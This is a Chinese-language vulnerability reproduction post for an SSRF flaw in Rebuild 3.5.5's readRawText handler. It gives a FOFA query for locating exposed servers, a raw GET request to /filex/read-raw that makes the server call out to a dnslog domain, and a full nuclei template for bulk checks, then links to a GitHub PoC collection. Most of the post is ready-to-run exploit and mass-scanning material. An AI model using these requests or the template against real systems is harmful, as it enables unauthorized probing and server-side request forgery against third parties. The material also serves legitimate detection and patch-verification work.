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漏洞描述

Rebuild 3.5.5 版本存在安全漏洞,HTTP Request Handler 的 readRawText 函数的 url 参数存在服务器端请求伪造漏洞

fofa语句

icon_hash="871154672"

漏洞复现

打开页面

构造payload

1707455233844.png

GET /filex/read-raw?url=http://onptdn.dnslog.cn&cut=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

查看dnslog

1707455164708.png

nuclei批量验证

1707455260430.png

id: Rebuild-SSRF-CVE-2024-1021

info:
  name: Rebuild 3.5.5 版本存在安全漏洞,HTTP Request Handler 的 readRawText 函数的 url 参数存在服务器端请求伪造漏洞
  author: changge
  severity: high
  metadata: 
    fofa-query: icon_hash="871154672"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        GET /filex/read-raw?url=http://{{interactsh-url}}&cut=1 HTTP/1.1
        Host:{{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
        condition: and

github poc总汇地址:https://github.com/AYcg/poc